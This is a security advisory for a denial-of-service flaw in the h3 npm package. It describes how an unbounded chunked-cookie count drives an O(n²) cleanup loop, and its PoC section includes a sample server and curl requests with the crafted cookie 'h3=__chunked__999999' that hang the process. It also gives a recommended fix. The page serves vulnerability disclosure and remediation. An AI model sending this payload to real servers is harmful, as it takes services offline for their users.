CVE-2026-86250: H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service
Summary The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (chunkedN) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=chunked999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Published Mar 23, 2026 · Updated Sep 30, 2026
Affected packages
h3
- Ecosystem
- npm
- Affected
- >= 2.0.0-beta.4, < 2.0.1-rc.18
- Fixed in
- 2.0.1-rc.18
- Check
npm ls h3
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Details
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check — attacker controls this value
}This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i <= previousChunkCount; i++) {
deleteCookie(event, chunkCookieName(name, i), options);
// Each deleteCookie → setCookie → scans ALL existing set-cookie headers
}
}
}The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
for (let i = 0; i < chunksCount; i++) {
deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
}
}The exploit chain through sessions:
- Attacker sends
Cookie: h3=__chunked__999999to any session-using endpoint getSession()(src/utils/session.ts:83) callsgetChunkedCookie(event, "h3")(line 124)getChunkedCookie()returnsundefined— the early return at line 153 fires because no actual chunk cookies (e.g.,h3.1) exist in the request- Since
sealedSessionis undefined,session.idremains empty (line 140), triggeringupdateSession()(line 143) updateSession()callssetChunkedCookie()with the newly sealed session value (line 179)- Inside
setChunkedCookie(),getCookie(event, name)re-reads the original request cookie__chunked__999999at line 182 previousChunkCount= 999999,chunkCount= 1 (new sealed session is small)- The cleanup loop runs 999,998 iterations, each calling
deleteCookie()→setCookie() - Each
setCookie()call reads ALL existingset-cookieresponse headers viagetSetCookie()(line 91) and iterates through them for deduplication (lines 100-106) - This creates O(n²) complexity — approximately 10¹² operations for n=999999
Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.
PoC
Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
import { H3 } from "h3";
import { getSession } from "h3";
const app = new H3();
app.get("/dashboard", async (event) => {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;Attack (single request, no authentication):
# This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboardFor a less extreme but still impactful test:
# ~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboardThe deleteChunkedCookie() path is exploitable via clearSession():
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logoutImpact
- Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
- No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
- Minimal attacker effort: The payload is trivially small (
Cookie: h3=__chunked__999999), making it easy to automate or repeat. - Wide attack surface: Any endpoint in the application that uses
getSession(),useSession(), orclearSession()is vulnerable. Session usage is extremely common in web applications. - Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.
Recommended Fix
Add a maximum chunk count constant and validate in getChunkedCookieCount():
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0 is false.
Credited to offset.
References
- https://github.com/h3js/h3/security/advisories/GHSA-q5pr-72pq-83v3
- https://github.com/h3js/h3/commit/399257cb406fbeda313d88c1e288a15124fc82af
- https://github.com/h3js/h3/releases/tag/v2.0.1-rc.18
- https://nvd.nist.gov/vuln/detail/CVE-2026-86250
- https://www.vulncheck.com/advisories/h3-before-2.0.1-rc.18-denial-of-service-via-unbounded-chunked-cookie
- https://github.com/advisories/GHSA-q5pr-72pq-83v3
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesGHSA-fp4x-ggrf-wmc6
H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
medium5.4Mar 23, 2026CVE-2026-33490
h3: Missing Path Segment Boundary Check in `mount()` Causes Middleware Execution on Unrelated Prefix-Matching Routes
low3.7Mar 20, 2026GHSA-4hxc-9384-m385
h3: SSE Event Injection via Unsanitized Carriage Return (`\r`) in EventStream Data and Comment Fields (Bypass of CVE Fix)
medium5.3Mar 20, 2026GHSA-72gr-qfp7-vwhw
h3: Double Decoding in `serveStatic` Bypasses `resolveDotSegments` Path Traversal Protection via `%252e%252e`
medium5.9Mar 20, 2026CVE-2026-33128
h3 has a Server-Sent Events Injection via Unsanitized Newlines in Event Stream Fields
high7.5Mar 18, 2026CVE-2026-33129
h3 has an observable timing discrepancy in basic auth utils
medium5.9Mar 18, 2026
